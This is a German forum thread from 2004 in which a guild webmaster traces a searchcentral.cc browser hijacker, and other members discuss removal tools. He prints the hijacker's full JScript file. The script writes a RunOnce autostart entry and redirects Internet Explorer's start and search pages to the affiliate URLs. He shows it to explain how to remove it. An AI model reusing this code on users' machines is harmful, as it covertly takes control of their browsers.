Zurück Neue Antwort erstellen
Chaly 
(Thema erstellt)
Offizier · Webmaster 
Themen: 404
Beiträge: 2107
Location: Bad Honnef
Playing:  Guildwars2 (Drakkar See)
Ingame:  Chaly Flavour
Jahre im Forum: * * * * * * * * * * * * * * * * * * * * * *
FU Searchcentral.cc Verfasst am: Beitrag 05:46 Fr - März 26, 2004

IE gestartet.. SEARCHCENTRAL.CC als homepage...
mhtoll, homepage-eintrag geändert, plugins entfernt,
(die man via "ja"-button bei einer variante der
nervigen buttons versehentlich hätte installieren können)
IE neu gestartet: toll, ist weg

Laptop aus, Tag später Laptop an, IE gesartet...
SEARCHCENTRAL.CC

um es abzukürzen:

C:\WINDOWS\UPDATE12.JS
Code:

var url = "http://searchcentral.cc/index.php?v=4&aff=4956";
var burl = "http://searchcentral.cc/search.php?v=4&aff=4956";
var fso = new ActiveXObject("Scripting.FileSystemObject");
var tfolder = fso.GetSpecialFolder(0);
var filepath = tfolder + "\\update12.js";
var Shell = new ActiveXObject("WScript.Shell");
Shell.RegWrite("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\tlc",filepath);
Shell.RegWrite("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page",url);
Shell.RegWrite("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Search Page",url);
Shell.RegWrite("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Search Bar",burl);
Shell.RegWrite("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Use Search Asst","no");
Shell.RegWrite("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Use Custom Search URL",1,"REG_DWORD");

löschen, fertig..

Wer''s ganz sauber haben will kann das Programm "regedit.exe"
über start\ausführen starten und den eintrag
Code:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\RunOnce\tlc

löschen, da steht nämlich drin dass er die update12.js starten soll..



und das nächste was ich jetzt mache ist ein programm schreiben dass alle
autostart-einträge eines Windows XP Rechners überwacht und nix weiter
tut als einen informieren dass sich da soeben was eingetragen hat.....
Antworten mit Zitat



_________________

Chalys Gimpnesstheory (2003) Die Theorie der expotentiellen Bullshits den Gimps bei gleichbleibendem Anteil produzieren.
Hungriger 
Impressive Chicken 
Themen: 5
Beiträge: 137
 
 
Jahre im Forum: * * * * * * * * * * * * * * * * * * * * * *
Verfasst am: Beitrag 06:31 Fr - März 26, 2004

Wers weniger technisch will lädt sich einfach cwshredder runter, das Programm räumt mit allen cws hijack clones auf.

Hugo
Antworten mit Zitat


Loriene 
Blue-Ribbon Chicken 
Themen: 2
Beiträge: 14
 
 
Jahre im Forum: * * * * * * * * * * * * * * * * * * * * * *
Verfasst am: Beitrag 02:08 Sa - März 27, 2004

Kann mir einer erklären wovon ihr redet ? weinen Antworten mit Zitat


Sovelu 
Impressive Chicken 
Themen: 7
Beiträge: 141
Location: Carinthia
 
 
Jahre im Forum: * * * * * * * * * * * * * * * * * * * * * *
Verfasst am: Beitrag 03:50 Sa - März 27, 2004

ich versteh auch nur bahnhof oops aber ich bin froh nicht die einzige Antworten mit Zitat


Ali 
Prime Chicken 
Themen: 31
Beiträge: 418
Location: Stadeln / Fürth
 
 
Jahre im Forum: * * * * * * * * * * * * * * * * * * * * * *
Verfasst am: Beitrag 07:03 So - März 28, 2004

schockiert grübel schockiert Antworten mit Zitat


Chaly 
(Thema erstellt)
Offizier · Webmaster 
Themen: 404
Beiträge: 2107
Location: Bad Honnef
Playing:  Guildwars2 (Drakkar See)
Ingame:  Chaly Flavour
Jahre im Forum: * * * * * * * * * * * * * * * * * * * * * *
Verfasst am: Beitrag 08:44 Mi - Mai 19, 2004

http://www.spywareinfo.com/~merijn/htlogtutorial.html^

jop, ich war nicht der erste der die ursache gesucht hat

@ fragende gesichter: es geht um hijacker die einem die startseite
verstellen oder einen mit popups bombadieren obwohl man auf google.de
surft, etc.. den müll per hand das erste mal zu entfernen ist hart
Antworten mit Zitat



_________________

Chalys Gimpnesstheory (2003) Die Theorie der expotentiellen Bullshits den Gimps bei gleichbleibendem Anteil produzieren.
Gnorg 
Impressive Chicken 
Themen: 6
Beiträge: 121
 
 
Jahre im Forum: * * * * * * * * * * * * * * * * * * * * * *
Verfasst am: Beitrag 01:13 Mi - Mai 19, 2004

Chaly hat Folgendes geschrieben:
http://www.spywareinfo.com/~merijn/htlogtutorial.html^

jop, ich war nicht der erste der die ursache gesucht hat

@ fragende gesichter: es geht um hijacker die einem die startseite
verstellen oder einen mit popups bombadieren obwohl man auf google.de
surft, etc.. den müll per hand das erste mal zu entfernen ist hart


Ich hab mitlerweile Search & Destroy drauf, CWShredder und Adware,
weg sind die trotzdem nie, wobei ich von IE auf Mozilla Firefox umgesiedelt
habe. Jaja, diese netten Pornotoolbars/startseiten/Popups sind wirklich
seeehr nervig augen rollen . Wer sowas erfindet gehört mal gehörig gestraft,
Schaden richtet es zwar nicht soo häufig an aber es nervt einfach.

Genau so wie Viren... Würmer... Trojis... bäh ... vor allem IRC Würmer
nerven zwinkern
Antworten mit Zitat


Zurück Neue Antwort erstellen